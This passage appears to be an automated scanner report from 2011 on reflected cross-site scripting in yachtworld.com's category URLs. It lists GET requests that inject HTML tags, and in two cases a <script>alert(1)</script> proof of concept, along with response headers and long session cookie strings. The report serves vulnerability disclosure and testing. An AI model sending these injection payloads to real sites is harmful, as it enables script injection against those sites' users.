s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:52:05 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 90f4b"><a>675c8c37f1f was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /boats/category/type90f4b"><a>675c8c37f1f/Grand+Banks/1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:51:41 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload de23e"><a>c27d5cc2ef was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /boats/category/type/Grand+Banksde23e"><a>c27d5cc2ef/1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:51:49 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8f682"><script>alert(1)</script>05b90dea404 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /boats/category/type/Grand+Banks/18f682"><script>alert(1)</script>05b90dea404 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:51:58 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b2b3b"><a>28b0af17e62 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /boats/category/typeb2b3b"><a>28b0af17e62/Hatteras/1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:51:26 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c182e"><a>21c7eb04f64 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /boats/category/type/Hatterasc182e"><a>21c7eb04f64/1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:51:34 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c2b27"><script>alert(1)</script>8234b29838f was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /boats/category/type/Hatteras/1c2b27"><script>alert(1)</script>8234b29838f HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); 